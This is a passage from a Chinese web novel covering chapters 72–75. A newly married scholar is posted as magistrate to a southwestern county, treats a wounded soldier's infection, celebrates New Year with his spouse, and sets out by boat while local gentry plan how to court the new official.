琴砚带着两个健妇取来见面礼,送到两个小的跟前,都不必说话,两个小的就开始吱哇乱叫。 下午尚柒跟着别此云陪着南枝乌桕玩闹了两个时辰,就回院子享受二人世界了。 “平日在家,你都做什么?” “办事,看书,也没什么别的娱乐活动。”主要是尚柒在长安也不认识几个人,想玩也玩不开。 “靖恭坊的马球场你没去过?” “马球场自然是要去打马球的,我虽会骑马,骑术也还将就,但没打过马球。” “我也不会,等回过别府后,我们去清闲观怎么样?” “时下天冷,清闲观在山里只会更冷,不怕冻着?” “以往我也在山里待到十一月,许久没回清闲观,还有几分想。”打替祖父贺寿回长安后,别此云就没再出过长安。 “那好,你是想我我们二人去,还是要带南枝乌桕?” “若南枝乌桕得空,跟着去也行,虽说咱们只去小住几日,但将两个小的丢在长安,真出了什么事怎么办?” 就说上回吕公公的事,若非南枝急中生智,猜出尚柒是去别府提亲吓住了吕公公,后果不堪设想。 “我若离开,自然会叫谢琅帮忙盯着。” “谢琅知道你将他当保姆了吗?”别此云想着长安谢家少爷有朝一日也有替人看孩子的时候。 “你不说我不说他就不知道。”两人不厚道的笑出声。 “说来,谢琅送了咱们两份贺礼,等他成亲那日,我们也得还两份才是。” “他什么时候成亲?只听你说过他定了亲。”谢琅比尚柒年纪要大,按说定了亲该成亲才是。 “我没细打听,改日见他你可亲自问问他。”别此云也当谢琅是朋友,除开最先合作的时候调查过谢琅,再没做其他事。 世家间定亲没成亲的缘故很多,有定亲姑娘哥儿年岁小需要晚几年,有病了只能拖延,还有对方家中长辈逝世,需要守孝,谢琅属于哪一种就得本人亲自说了。 “等从清闲观回来,咱们在客似云来请谢琅吃饭再问。” “好。” 第72章 三朝回门。 尚柒和别此云轻装简行, 一早到别府的时候,苏怡然带着张青浣已经在院里等着了。 别洵松和别景季自然也告了假,别泓辈分大, 倒不会为了小辈耽误正事, 只吩咐了别洵松好生招待。 近来东宫事多, 前些日子陛下见东宫皇孙无人照顾, 亲自替太子定了一桩亲事,虽人选太子不大中意,但对东宫也有助力,总好过真娶一位大世家的公子贵女回来,踩陛下的底线。 只是别泓没想到的是, 吏部同僚上值时突然过来寻他。 “别老大人, 科举得中的学子官位下来了。” 别泓是知道孙婿得中状元, 也是因为这点他极满意大郎挑选的孙婿,几乎只过了耳朵亲事就成了。 “是安排在翰林院还是东宫?”按别泓的意思, 孙婿必然是不去做校书和太乐丞的,东宫正字最佳, 八品官又为太子做事。 不说得不得太子青睐, 但比起太常寺前途肯定更好。 “别老大人还不知道?”同僚一脸迟疑, 似乎此事有隐情。 “知道什么?”别泓皱眉, “莫不是柳家认为我孙婿名次高过柳确, 托人向你们施压了。” 别家是比不上柳家,但无冤无仇, 为这点小事得罪别家,柳家未免过于小肚鸡肠了。 “非也,柳家没出面,是太子出的面, 定了西南应州清平县县令位置给尚柒,已经过了陛下的眼,年后就要赴任。” “什么!”别泓闻言猛的站起身,从没听过科举状元还外放去做官的,便是从八品升到七品,地方和中央能一样吗? “看来老大人你是真的不知道,我得了消息就过来告诉你一声,想你有个心里准备,且莫要声张,此事陛下那边点了头,你我已经回天乏术。” 别泓之后已经听不见同僚说了什么,只呆呆愣在原地好一阵才回过神。 西南,太子为何要将尚柒安排在西南,是为了监视平王,还是为了监视西南守军。 朝中这样多人为太子效力,为何太子独独选了一个刚入仕的尚柒委以重任,当真是看重,还是报复之前别家叫太子丢了颜面。 …… “此云往日也不是没离过府,但打成亲后,娘就一直心不在焉,今日瞧着才好一些。”别景季和尚柒站在一旁,见娘三在那头说话。 “若岳母日后想此云了,只管去信尚府叫此云回来住就是。” “我自然知道你不介意,但年后,你们就要离开长安,没个三五年很难再见。”别景季说起这事,难免伤感。 此云太过大胆,竟然背着家里经营酒水生意,还被陛下盯上,眼下长安局势瞬息万变,此云是万不能留下来的,可往日去清闲观也不过一日路程,想见便见,西南一去千里,几乎没有见面的机会。 这话尚柒没法接,因为去西南别说三五年,就是六七年都不一定能回来。 “家里其他人知道吗?” “上面还没定,不过也快了,就在这几日,到时候你和此云先避开家里,等我安抚好再登门。”这头此云才出嫁,那头就说此云年后要和尚柒离开长安,家里长辈哪个受得住。 就是亲爹他都没敢透露。 “我会的,长安虽然离西南远,但我时下有些生意也在长安,每月都有来往商队,到时候送信也方便。” 织坊入冬后,产出的羊毛衣在长安也有了销路,到底是天子脚下,能舍得花钱置办冬衣的百姓比过其他地方,两季攒下的羊毛衣,除去给南边过来的何布商一批货,余下已经卖的七七八八。 和谢琅此云分过账,也是一笔不匪的收入,马上要入十二月了,天气更冷,来卖羊毛衣的人越发多,织坊那头都快要忙的冒烟了。 “我听此云提过,是你与谢家儿郎一同置办的织坊卖的羊毛衣?”世家也做生意,且天下大部分生意都是世家在经营,说是看不起商户,也不过是商户没底蕴,不然光靠朝廷发的那点俸禄,连家里下人都养不活。 “不错。” “能在长安置办些产业也好,日后你和此云归长安,也能有些家底打点。” 尚柒只点点头,等他和此云再回长安,估计用不上他打点别人。 下午。 尚柒和别此云才离开不久,别泓就气势汹汹的回府,一回来就叫了别洵松和别景季到书房议事。 说的什么事外人不知道,但守在书房外的下人被吓的不轻。 要说别家一家子文人,平日为人处世都是温和有礼,就是生气也不过厉声斥责,少有动刀动枪的时候。 在别府做事的下人,只要老实本分,到了年纪赎身出府也能攒下一笔钱,无论是做点小生意还是购置田产,都能安稳度日。 难得见书房几位主子生气摔东西,可不把门外的下人吓的不轻。 “太子究竟是要我别家如何?尚柒才和此云成亲,他就迫不及待的要将二人赶出长安,莫不是还惦记此云没有嫁给他不成?” 别洵松并不喜欢攀附权贵,尤其是拿姑娘哥儿做筹码,莫说儿婿是太子,就是皇帝他也不愿意,便是当初没给此云选好夫婿,太子提亲他也是会想办法推辞的。 “休要胡言,这话也是你能说的。”别泓谨慎,太子虽不成器,可有些话作为臣子却是不能讲。 “父亲,非是我以下犯上,而是此事太子办的本就不地道,先是看中此云,想要此云嫁给他做太子妃,替他养那痴儿。 亲事不成,还污蔑咱们瞧不上他,随意选了个儿婿寻咱们麻烦,这会儿又要将此云和尚柒送去西南。 如此种种,太子可有将我别家当做左膀右臂?” 别泓不言,这几桩事的确能看出来太子没将别家放在眼里,挥之即来呼之即去,是个人都受不住,更不说别家这等自尊心强的世家。 “别家门楣不比萧谢这等世家,陛下虽然指了咱们做太子的后盾,但太子更心仪大世家。”别泓哪里不明白太子的心思。 “若他心仪,何不选个大世家联姻。”别洵松自认为站队太子后,从不曾拖过太子后腿,甚至有时太子才是拖后腿的那个。 没有别家,太子早就在党争中被几个兄弟吞吃殆尽,莫不是太子当真以为自己一路有惊无险,是自己的本事不成。 “父亲,此事还有转圜的余地吗?” “已经过了陛下的眼,这会想改也没法子。”别泓如何不想插手,将尚柒留在长安,但太子做事实在不留余地,过了陛下的眼,除非陛下改变心意,不然他们做臣子的除了听令再没其他办法。 别洵松挺直的身体耷拉下来,尚柒要去西南,此云必然要跟着去,夫人又如何能舍得此云千里迢迢离开。 “事已至此,多说无益,咱们能做的只是替尚柒和此云多筹备,我在西南也有学生,等我去几封信,叫他们平日里多照顾照顾。 如此等三五年,咱们在长安暗中使力,将尚柒调回长安。” 这也是没有办法的办法。 “我知道了。” 别景季一直在一旁没作声,听父亲和祖父的谈话,他其实想说是他私下寻太子办的此事,又怕父亲祖父追问原由。 此云经营青麦酒的事,他是不打算告诉任何人的,不是说他信不过父亲和祖父,实在是父亲和祖父和东宫靠的太近,万一太子知道此云是青麦酒背后经营的人,难保不跟陛下一样盯上此云。 眼下别家因为此事怪罪太子,但明面上绝对不会对太子怎样,因为太子是君,别家是臣,为臣者必要受些委屈。 且别家和太子牵连太深,已经没法从棋局中全身而退,不到鱼死网破的地步,别家和太子的关系断不了。 隔日,圣旨就送到尚府,当事人没有表态,但在长安却引起了轩然大波。 今年科考登榜的唯一白丁竟然被发配到了地方,柳确作为榜眼,进了翰林院,有柳家在背后撑腰,不过三五年,必然入六部做事。 “先前门庭若市,旨意一下来便门可罗雀,长安世家见风使舵的本事我也是见识了。”尚柒在院子里把玩圣旨,叹人心不古。 要说一般人家接了皇帝的圣旨,必要好好供起来,尚柒就没这个规矩,若不是圣旨太大,尚柒都要将其当折扇在手中转动。 “难得清净还不好,莫不是你还怀念上门说媒的日子?”别此云可是知道,打尚柒冒头后,不少媒人登门,大部分是打尚柒弟弟妹妹的主意,少部分心怀鬼胎,借着给尚柒弟弟妹妹说亲的由头,想要给尚柒纳妾。 “也不算怀念,但有时候闲的无聊,有人登门唇枪舌战一番,也当解压了。”时下媒人个个嘴上功夫了得,黑的能说成白的,能在争吵中占上风也是趣事。 “定了二月到任,一月咱们就要从长安启程。”幸亏西南的水系冬日不结冰,船也能照常走。 “还有一个多月,来得及。”说着,尚柒就打算给西南去信,他要回去了。 第73章 “清平县?”蔺肃收到消息, 得知东家竟然到清平县任职,一时间也难免惊讶。 西南之地,越靠近西南, 自然也是越穷困的, 因为多山, 和中原腹地来往不便。 应州在西南靠近中原之处, 虽比不得锦官城,但也比边关之地富裕。 清平县名声不显,毕竟应州名下县城多若牛毛,巧就巧在兵营不偏不倚在清平县和黄谷县之间。 “许是巧合,县官六年一换, 应州名下的县城大部分任职官员还未到期, 能选的县城实在不多。”宋月隐从礼县过来, 闻言道了句巧合。 “二月到任,东家坐船过来, 多半二月初就能到,咱们要在二月前布置好清平县。”一个小县城, 县官连带着府兵也没多少人, 不过有句话好说, 强龙不压地头蛇, 想来清平县的原住官, 不一定服气新县令。 东家本就事务繁忙,哪里能叫人到了县城还要收拾地头蛇, 恰巧他们有在礼县收拾地头蛇的经验,距离二月还有一个多月,正好替东家把扔料理了。 …… “去西南,是你们的主意, 还是太子的主意?”谢琅面色不佳,似乎没想到闹出这一档子事。 “是我们的主意,当然太子肯定是乐意有人去西南为他盯梢。”尚柒对谢琅坦诚,“你也知道,青麦酒之事迟早是个大雷,有朝一日炸开,我们不在长安还好,一旦在长安陛下那边必不会善罢甘休。” “我看陛下久久未行动,还以为他已经放弃了。” 尚柒摇头,广运帝不是那么容易放弃的人,眼下不过是正事拖延了他的步子,只要广运帝一日还想攻打突厥,那么钱财就是他需要解决的心腹大患。 “也好,你和有钱离开长安,能保一时太平,躲几年风头再回来,也不妨什么。”尚柒到底年轻,去地方历练几年,回到中央有别家在背后撑着,必会顺风顺水。 只是他朋友不多,一下去了两位,多少有些惆怅。 “正是这个道理,不过我瞧着你无心官场,等我去应州安顿好,平日无事可去西南走一趟。” “去肯定会去,长这么大,除了回谢家祖地,几乎没去其他地方游历,若你在西南安顿好,只管来信,我便收拾包袱寻你和有钱玩乐。” 也是谢琅家大业大,出门在外不必担心人身安全,一般人还真没这个魄力。 “你若来,我和此云自然好生招待,说来,我们一去几年不归,原说要吃你的喜酒,现在怕是不成了。” 不管谢琅的未婚对象究竟什么原因没和谢琅成亲,总不会叫谢琅再单五六年光景,喜酒他们是吃不上了。 “喜酒吃不上,贺礼记得送就是。”谢琅并不在意,世家之间的联姻,不过看门第是否匹配,当真要说有多喜欢是没有的。 像是有钱和尚柒这样情投意合的,十对里有一对都是多的,所以他对亲事并不怎么看重,等那日他娘开始催他了,再应就是。 “这个自然,我和此云到了西南,必着手办这事。” “你们打算怎么去西南?” “打算走水路,陆路辛苦,我怕此云的身体撑不住。” “是别家安排船只,还是包船?”世家做生意,肯定少不了走水路用的船只,比起包船自家船用着更方便。 “此云的船,他的生意多,需用江船运货去各地,只腾空一只货船略微改造就成。”尚柒的生意都在西南,船自然也是有的,毕竟比起陆路,水路运输的确更快,不过他的船都在西南。 “我竟然忘了这一茬,你们既然安排好我就不插手了,等年后你们走之前我在金玉满堂办个送别宴。”天下无不散之宴席,谢琅早就懂这个道理,就是家里亲人都有天各一方的时候,更不说朋友。 “我这一走,金玉满堂的霸王餐便要少吃不知多少顿。” “且攒着,等你和有钱从西南回来,想吃多少都成。” “得谢少爷吉言。”若能再回长安,就说明他和此云成功了。 谢琅一走,尚府却来了个意想不到的外客。 “还请东家救命。”汪氏泪眼婆娑,一进尚府大门见着尚柒就往下跪。 “汪娘子先起来,可是遇上什么事了,且先说说,不必下跪。”尚柒将汪氏扶起来,汪氏的身体不好,大喜大悲都是大忌。 “东家,且跟我去一趟家里吧,当家的眼瞧着不成了,长安能请来的大夫我都请了,实在不得已才求到东家头上。”汪氏也是没有办法,不然如何敢登门求到尚柒头上。 前些时候才见过樊泊,如何就不成了?但眼下不是继续问话的时候,他只吩咐了人去取药箱,再请张阿大驾好马车,去樊家一趟。 马车上,尚柒细细问了汪氏樊泊怎么了,才知道前些日子军营闹了一场事,原本禁军的兵丁和新来的兵丁打起来了,规模不算大,被上面的军官压了下来,才没外传。 但樊泊倒霉,打架的兵丁里有他得人,几个上官里又有看樊泊不顺眼的,便下令严惩,挨了军棍。 行刑的兵丁是新来的,自然和樊泊不对付,下手狠了人当即爬不起来,还是同樊泊交好的兵丁将人送回来。 当时请了大夫也上了药,奈何不过几日就烧了起来,时下发热是大病,又请了不少大夫,喂了不少药都没将热退下去,眼瞧着不成了,汪氏才求到尚柒跟前。 幸好上次汪氏过来看病门房还记着,不然也不会这么顺利放她入府。 听了汪氏的话,尚柒大抵知道樊泊可能是感染了,眼下一个豁口都能死人的时代,樊泊后背必被打的血肉模糊。 他手里能治感染的药物只有一种,纯度不高,一般不到万不得已,他是不会动用。 “汪娘子,我这里给你透个底,你说的病症我大抵清楚了,我手里也有一味药可以试试,但这药只能赌一赌,若成便能活命,若不成,我也回天乏术。” “东家且放心治,若是当家没活只当没这个运道,若是能活更是捡回一条命,此后我便叫当家当牛做马来报答东家。”已经到这个节骨眼上,汪氏哪有不赌一把的道理,赌了还有命,不赌只有死。 “我自不会挟恩图报,等樊兄弟日后醒了,还了药钱就是。”神仙丸虽在这个时代能被称为神药,但说起来成本没那么高。 汪氏还要说什么,马车正好停了,尚柒拿着药箱下车,进屋后见着樊泊的伤口,果然如他猜测的一样,眼下光用药是不成的,后背的伤口还要处理。 “汪娘子,且烧一锅热水来。” “诶。” 整个樊家匆忙动起来,连带着两个年岁不大的孩子都在床边守着,见娘请回来的大夫给爹处理伤口。 直到纱布裹上伤口,尚柒才得空休息。 “隔两日就须得换药,前几回换药我都会过来查看情况,这两日能把烧退下去,一切都好说。” “多谢东家。”汪氏说着又擦了擦眼泪,她这几日跟个无头苍蝇一般,眼下终于能松口气。 “汪娘子你身体也不好,大喜大悲伤身,这几日药也要按时服用,若是感觉累也别强撑着,休息一会不当什么。”真要是累的起不来身,家里老的老小的小如何顾及两人。 “东家说的是,我一定按时服药。” 得了话,尚柒也不再说什么,便收拾好东西离开,回到府里,就见此云正在院子里等他。 “听琴砚说,汪娘子寻你去看病了?” “嗯,樊泊伤口感染了,高烧不退,长安的大夫没有办法。” “救活了吗?” “我手里的药都是土法制备,纯度不够,只能看运气。”尚柒是不敢说一定的,“这几日我都会去樊家看看情况,若不成结果也很快。” “樊泊在军中比武都是头名,如何就受了伤?”尤其人是禁军,又久居长安,不该遇上什么歹人才是。 “军中争执,樊泊作为小队领头挨了军棍,打的人下了死手,若非樊泊身强体壮,只怕早撑不住了。”军棍,真下狠手二十棍都能将人打的半死。 别此云大概了解了,然后摇头:“广运帝将江南的军队这么安排进禁军,没有哗变都是好的。” “只怕是两军争斗的下马威,当真哗变,他们有几个脑袋能掉。”至于樊泊,不过是两军对垒的牺牲品。 “这几日你多上上心,家里的事有我操办。”他们打定了去西南后,就在处理长安的产业,可以说也忙得不可开交。 “嗯,我瞧着樊泊若是能救回来,说不得也能叫他改变心意。”说来也巧,再有一个月他便要离开长安,樊泊若是等他走了再受伤,只怕是没命可活。 “挟恩图报可不好。”以樊泊的性子,尚柒救了他的命,真要他跟尚柒造反,樊泊为报恩说不得也就同意了。 “非也,经此一事禁军樊泊是不能回去了,如此改注意投奔我也是理所当然。” “有理,若樊泊当真改主意,说明天命在我们身上。” “不许封建迷信。” 第74章 “军营闹的乱子我还真没听人说, 东家既然过问,等之后我遣人去打听打听。”冯风撬了一波禁军墙角,就没在和禁军接触, 谁料竟错过这样的大事。 “私下打听就是, 军中生乱是大忌, 只怕消息还压在营里, 除去当日的武将旁人大抵都不知情。” 广运帝肯定是不知情的,不然早就大发雷霆,禁军是护卫长安的兵马,若是生乱岂非将天子安危置于险地。 “是。”冯风得了令悄摸去了平康坊,莫说长安的世家少爷常来, 军中凡是有点官职能捞油水的武将也是日日光顾。 想要悄无声息的打听消息, 平康坊是首选。 如此蹲守三日功夫, 冯风才从一个醉酒的武官嘴里知道来龙去脉,原也不是什么大事, 不过是军中比武之际,江南过来的新兵不守规矩, 伤了原本禁军中人。 按说比武场上受伤, 也算不得什么, 偏偏两股人打见面就不对付, 原本禁军中的兵丁见自己人受伤, 再忍不下去,撸起袖子就和江南过来的兵丁打起来了。 亏得那日是樊泊值守, 身手了得,平日在军中也有几分威望,不然两边这么一打,必然会演变成群斗, 真要是引起江南兵丁和禁军人马大范围打起来,朝中武官有一个算一个都要挨罚。 偏樊泊吃力不讨好,事后被营中一个上官抓了顶包,说是樊泊管教不力挨了四十军棍不说,还让江南过来的兵丁动手。 这下可是彻底把禁军的人得罪了。 “我瞧祸根是埋下了,若没个厉害的人物调节,日后别说上战场,只怕护卫长安这等寻常事都做不好。”不是冯风看不起禁军的人,而是这事办的不地道,有错在先的是江南的兵丁,最后挨罚的却是禁军的人,不是打了原本禁军的脸吗? 不管下令的上官究竟是想拉个替罪羊,还是看不顺眼樊泊,梁子反正是结下了。 “广运帝自幼宫中长大,论帝王心术阴谋诡计他或许还擅长,论行兵打仗,只怕不比三岁小儿强到哪里去。” 广运帝真有军事能力,就不会被人一吹捧就想要攻打突厥,依尚柒看广运帝要是老老实实的在皇位上颐养天年,说不得大历还有几十年国运。 真要是动兵,不出几年,必有亡国之相。 “那咱们要不要推波助澜一把?”冯风是瞅准机会就想给广运帝使绊子。 “不必,军中的事别插手。”他们马上要离开长安了,军营出事或大或小,万一提前挑起了争端,对他们来说不是好事。 “是。”东家这么说,肯定还有他的道理,“对了东家,樊兄弟情况如何?” “烧暂时退了,若之后情况不恶化,一个月就能下地。”樊泊运气实在不错,自然了也有这个时代的人没用过抗生素的缘故。 “那,樊兄弟有说……” “有说,等开春后,他们一家会跟我们的船一块去应州。”樊泊倒戈在尚柒的意料之中,只是原以为樊泊醒了会再挣扎挣扎,结果人头天醒了,第二日他去换药,就说愿意一家去西南安顿。 正好跟他的船一块走,汪氏的身体也不必走陆路颠簸。 “合该如此,长安禁军已经被武将世家把持,寻常百姓哪怕再厉害也没有出头的机会,不说樊兄弟,就是禄石兄弟当初在军营也吃过不少瘪,可见有多少将才叫禁军埋没。” “禁军常年在长安,平日也就兼顾巡逻,没有机会挣军功,下面的人自然没本事往上升。”要不封建王朝到了一定年限就会崩溃,本质上还是资源固化,需要重新洗牌分资源。 …… 十二月末,正值除夕。 长安连续几日小雪,各家房屋上都积了一层薄雪,地上的雪就厚了,尚乌桕和尚南枝两个玩心大起,竟一早起来堆了好几个雪人在院子里。 “好了,进屋烤烤火,湿衣服穿久了容易头疼。”尚柒见人玩的差不多了,招呼人进屋。 “阿兄再等等,我寻两粒石子给雪人做眼睛。”尚乌桕冻的双手通红,人却精神的不得了。 “四个雪人,两大两小,这是堆的我们?”别此云从头到脚都裹了厚厚的衣裳,脖颈的羊绒围巾更是暖和。 “应当是。” “西南有雪吗?” “高山有,其余地方,冬日可能会下几场小雪,但少有能堆积的时候。”北面的气候更冷,冬日一场大雪,整个长安都银装素裹,瞧着是好看,但对一些房梁不成器的屋子来说就是坏事。 每年冬日,长安都有大雪压塌房屋的事故发生。 “阿兄,快给我倒杯热茶暖暖手。”尚乌桕给最后一个雪人按上眼睛,就兴匆匆的跑回屋,双手靠着火盆反复烤。 “毛毛躁躁,也不怕摔倒了。”尚柒给两人倒热茶,比起乌桕,南枝一直不紧不慢,陪着乌桕堆玩雪人也是慢腾腾的走回屋,不过瞧人接过热茶的速度,也晓得是冷坏了。 “西南不见这样的大雪,头一次见,我和阿姊当然控制不住,反倒是阿兄半点都不感兴趣。”尚乌桕愤愤不平,阿兄自幼也在西南长大,肯定也没见过这样的大雪。 “君子不喜形于色。” 别此云闻言挑眉,这话骗骗小孩子还成,可骗不过他,说不得尚柒是上辈子见雪见多了,方才不足为奇。 “好了,我瞧你们衣裳也湿了,也别用火烤,干脆回去换一身,正好叫厨房送饭过来。” “的确湿漉漉的,阿姊我们走。”尚乌桕抖了抖衣裳,冬衣太厚,他个子还没拔高,穿在身上跟个圆球似的。 两个小的一走,别此云就站起身:“我们也去玩玩雪?” “方才怎么不和南枝她们一块玩?”尚柒虽然这么说,但也跟着起身。 “年岁大了,自然不好意思和小孩混在一块。” “也堆雪人?”尚柒对此云口中的年纪大不可置否,他们两人两辈子的年纪加一块,的确不小了,有点面子包袱也正常。 “不。”别此云说着突然蹲下,一捧白雪就在尚柒跟前散开,“打雪仗才好玩。” 被突然袭击,尚柒只来得及闭眼,身体熟稔的下蹲,雪球攻击力强,也打的远,但尚柒舍不得,也跟着此云一样,只撒雪攻击对方。 不多时,两人的头发上都沾满了雪花,颇为狼狈。 “我就说阿兄方才是装的。”躲在转角的尚乌桕志得意满的哼哼道。 “咱们非得蹲墙角吗?”尚南枝生无可恋的站在乌桕背后,偷看兄长和嫂夫郞嬉戏也不怕阿兄知道了报复。 “就看看又不怎么样?别怕来不及,阿兄和嫂夫郞这么一闹,肯定也要换衣服。”尚乌桕又偷偷摸摸看了好一会,才恋恋不舍的离开。 院子里你来我往的两人,最后以别此云体力耗尽告终,衣裳穿的太厚,稍微活动活动就大汗淋漓,若是不想生病,就得快些回温暖的室内。 “这是咱们一块过得第一个新年。”别此云低头任由尚柒为他拂去头上的白雪。 “以后每一个新年我们都能一块过。” “最好是。”说着别此云倒进尚柒的怀里,闭上眼睛。 “累了?” “冬日少动,今日活动了一会的确累了。” “现在睡还是吃了午饭再睡?”正午的团圆饭其实也不怎么稀奇,他是头一次在长安过年,宋娘子便准备长安人除夕的吃食,也算尝个新鲜。 “吃了再睡。”头一个团年饭,他还不想扫兴。 “真困了,夜里再吃团年饭也一样。” “也没那么困,吃完下午睡过,夜里正好和你一块守岁。” 既然此云这么说,尚柒便不再劝,等琴砚将二人的外套取来,他们换了外衣就去饭厅用饭。 “要我说,冬日还是吃火锅好。” “别吃着碗里的看着锅里的,年年除夕都吃火锅,今年换个新花样还不好。” “就是年年吃才是仪式感,今年突然换了自然不习惯。” “之前还都在长平村过年,今年还在长安过年,也不见你不习惯。” 尚乌桕没话说了,咕噜咕噜几声,眼睛就张望外面,看阿兄和别哥哥什么时候到。 等了片刻,脚步声响起,两人出现在门口时,尚乌桕朝尚南枝挤眉弄眼,表示他说什么来着,阿兄和嫂夫郞也换了衣裳。 “怎么不先动筷?” 一进屋,饭厅的门帘就被放下,隔绝门外的冷气。 “团年饭哪有人不到齐先吃的道理。” 尚柒不揭穿平日最不懂规矩的就是尚乌桕,拉着此云入座。 桌上的饭菜实在琳琅满目,可见宋娘子下了大功夫。 “开饭吧。”尚柒说完话,两个小的就开始动筷,头一个要吃的就是鲈鱼,清蒸鲈鱼滋味最好不过,宋娘子火候又掌握的极好,鱼肉入口便化开了。 除去鲈鱼,桌上另一个大头自然是羊肉,长安人好羊,一日吃的羊肉是猪肉的数倍,而自打铁锅现世,羊肉的做法也被开发了不少,眼前这道香煎小羊排就是宋娘子听过尚柒口述复现的。 “这道爆炒羊腰是你点的?”别此云语气中多了两分戏谑。 “宰了一只羊,羊腰又不大,宋娘子他们不够分,就上咱们这桌了。”尚柒认为他还不到要吃羊腰补虚的时候。 “那你可要多吃一点,不然可惜了一只肥羊的腰子。” 尚柒的神色古怪了一瞬间,难不成此云还真认为他需要补一补? 第75章 春寒料峭。 长安的百姓都还穿着厚厚的冬衣, 白日出门做工也都缩手缩脚。 据长安不过几里的码头难得热闹,冬日因为北面太冷,不少地方都结冰了, 许多江船走不得, 码头冷清的厉害。 今个儿码头上人来人往, 几艘大船搁码头停着, 打昨日起,就有短工在搬运箱子上船,到今日都还没搬完。 不多时一辆摇摇晃晃的马车到码头停下,樊泊一家相互搀扶着从马车上下来。 “樊兄弟来的这样早,可吃早饭了?”冯风一早在码头守着, 见着樊泊一家招呼。 “劳冯大哥挂念, 昨个儿家里收拾好, 便没开火,路上买了几碗羊汤喝了。”汪氏开口搭话。 “吃了就好, 若是没吃饱码头上有东家提供的馒头,正热和呢, 且拿几个吃去。”冯风随手一指, 就见码头口有两屉蒸笼搁着。 “是给做事的短工准备的?”汪氏打眼一瞧, 就晓得数量不少。 “不错, 今日要早走, 天刚开亮短工出来做事,多没吃早饭, 东家就请了府里的厨娘捏了白面馒头送到码头。” “东家心善,长安城内我还没见过几户人家给短工吃白面馒头呢。” 冯风笑笑不说话,东家办事一向是得人心的,不然他和诸位兄弟姐妹也不会死心塌地跟着东家。 “外头冷, 汪娘子且带樊兄弟他们去船上,你们住的船舱都安顿好了,一路也不必担心其他。”冯风招呼樊家上船。 载人的大船是特意收拾出来的,加一块也没多少人,住的开。 樊泊伤还没好全,虽然能下地了,但也需要人搀扶,便不推辞,跟着冯风上船去了船上住的地方。 等短工忙活的差不多了,冯风下船给人结了钱,就等着东家一行人过来。 今日离长安,别家总是要去一趟的,也就不劳苏夫人到码头送一程,天寒地冻走一趟得了风寒可不得了。 所以等张阿大赶马车到码头的时候,已经巳时过半了,好在行礼都装上了船,等人到了就能走。 “东家,都安顿好了。”冯风这回是不跟着去西南的,他得留在长安继续办事。 “书墨他们也到了吗?”别此云也安排自己的人这次跟着去西南,数量还不少,尤其是书墨,被广运帝私底下盯着,想要偷龙转凤将人送到穿上,还费了不少功夫。 “都在船上,不过不在咱们这条船上。”除去中间的大船主要载人,其余船只载货的同时也能安顿一些人。 “嗯,收拾好了等我们上船就准备走吧。”尚柒也不想耽搁,码头风大,吹久了难免头疼。 “诶。” 东家一行人上了船,就见船上的船员开始升锚,冬日的水还冷的厉害,为此船上也没见几个人出来走动。 等江船离岸后,冯风才转身回长安。 …… 上了船,因为是木船,船舱里自然也是不敢生炭火的,又在江上行走,便是关了门窗也暖和不到哪儿去。 好在有汤婆子,船上的床褥也都换上了蚕丝被,夜里睡觉不必怕冷。 “冷就上床躺着,离正午吃饭还要一个时辰左右。”尚柒收拾了一些行礼,船舱不大,但比起马车又松快许多。 “嗯。”别此云闷闷不乐,自从别家离开,人都不大精神了。 “要睡一会吗?”尚柒自然知道此云心里不好受,但这事不是光安慰就起作用的。 “睡不着,我们离开的时候娘给的盒子放哪里了?”别此云打起精神,离开是他的选择,一直怏怏不乐也不是个事。 “在行礼里,我去找找。”他们去别家告别,从老到小都送了东西,大都装在盒子里,尚柒不必打开,也知道多半是银票,给他们去西南傍身用的。 苏怡然送的盒子不算大,重量也都轻飘飘的,别此云打开的时候,果不其然看见里面是一叠纸。 除去在上的银票外,下面就是庄子田契,都是在西南置办的。 “不过两月功夫,岳母竟然在西南置办好了产业?”尚柒也瞧见了,不光是在清平县,应州附近也有。 “原本我的嫁妆里也有长安的产业,但我们去了西南,长安的庄子一时用不上,许是娘担心我们去西南日子不好过,特意寻西南有关系的世家添购的。” “想来也是不放心你,我不过和你家里人相处几个月时间,就算再赞不绝口,也有担忧我是装的,更不说你千里迢迢陪我去西南,要是我在西南欺负你,他们也不能及时护住你。”若有产业,便是尚柒对别此云不好,以别此云的性子,去庄子上住,尚柒也拦不住。 “是这个道理。” “放心,清平县那里应该收拾好了。” “我自然放心,南枝和乌桕到时候也跟我们在清平县生活吗?” “南枝多半要礼县和清平县两头跑,乌桕,看他自己的想法,若是想回礼县便跟南枝一块回去,若是想我们了,再回来也是一样的。” 到了西南,尚柒人手就多起来,南枝乌桕整日不着家都成,毕竟是土生土长的地界。 “也好。” …… 清平县。 在应州算不上富庶,却也看的过去,县外的城墙比起西南边境的城池要好上不少,至少一眼看去没有断壁残垣之感。 近两个月,清平县也是热闹的不得了,譬如县里陆陆续续开了不少新铺子,县里一些地痞流氓都不见了,连带着县里做事的人都老老实实,没趁着年节出门勒索百姓。 寻常百姓自然不知道出了什么事,但当地但凡有点名声的,私下里都去县衙门打听了一番,才知道近来县里发生的变化都是因为新来的县令来头不小。 县里的富户在当地有权有势,一般县令是压不过的,但和世家比起来,富户又不值一提。 地头蛇都知道世家招惹不得,就是清楚世家最护自家人,真要是世家子弟被一个商户欺负,世家哪还有脸面。 恰恰新县令就跟世家有千丝万缕的关系,可不叫县里一些嚣张惯了的富户头疼。 几个在县里有名望的人家趁着新县令没到,聚在一起商议要怎么给新县令接风洗尘。 “要说,钱肯定是要送的,只是送多少合适?”世上就没有不爱钱的人,富商给官员送钱求庇护也都成了一种心照不宣的行径。 “自然是多多益善,人家娶了长安别家的公子,光是别家的帮扶就是一笔不匪的钱财,咱们送的少了,哪里能入新县令的眼。” “多是多少,总不能把家财全赔进去,咱们说是富户但不过是手里有些田产罢了,万一新县令狮子大开口,咱们总不能都去喝西北风。” “温老兄,话不是这样说的,新县令是官,咱们是民,自古民不与官斗,就是知道斗不过。 想来新县令再贪,也不好叫咱们喝西北风,而咱们做生意的却是不能没有县令照拂。” “上一任县令在位,咱们没少使银子,也不见照拂了咱们什么,先前我的一批货在路上被土匪抢了,报官官府连审理都没审理,白瞎了我给的银两。” “温老兄,莫气莫气,你也不看看县里才多少人,靠他们打土匪,不如靠咱们自己招人手。” “唉,希望新县令是个好的,不然咱们日子就难过了。” “应当差不了,你没瞧见新县令还没来,县里的风气都变了,要我说,诸位还是回家多叮嘱叮嘱不成器的小子,莫要惹是生非,我瞧着新县令不像是眼睛能揉沙子的。” 这话几位家中有不孝子的富商是听进去了,想着回去必要耳提面命叫不孝子在家老实待着,不然新县令要是个性直的,他们给银子也不能把人捞出来,那才是大麻烦。 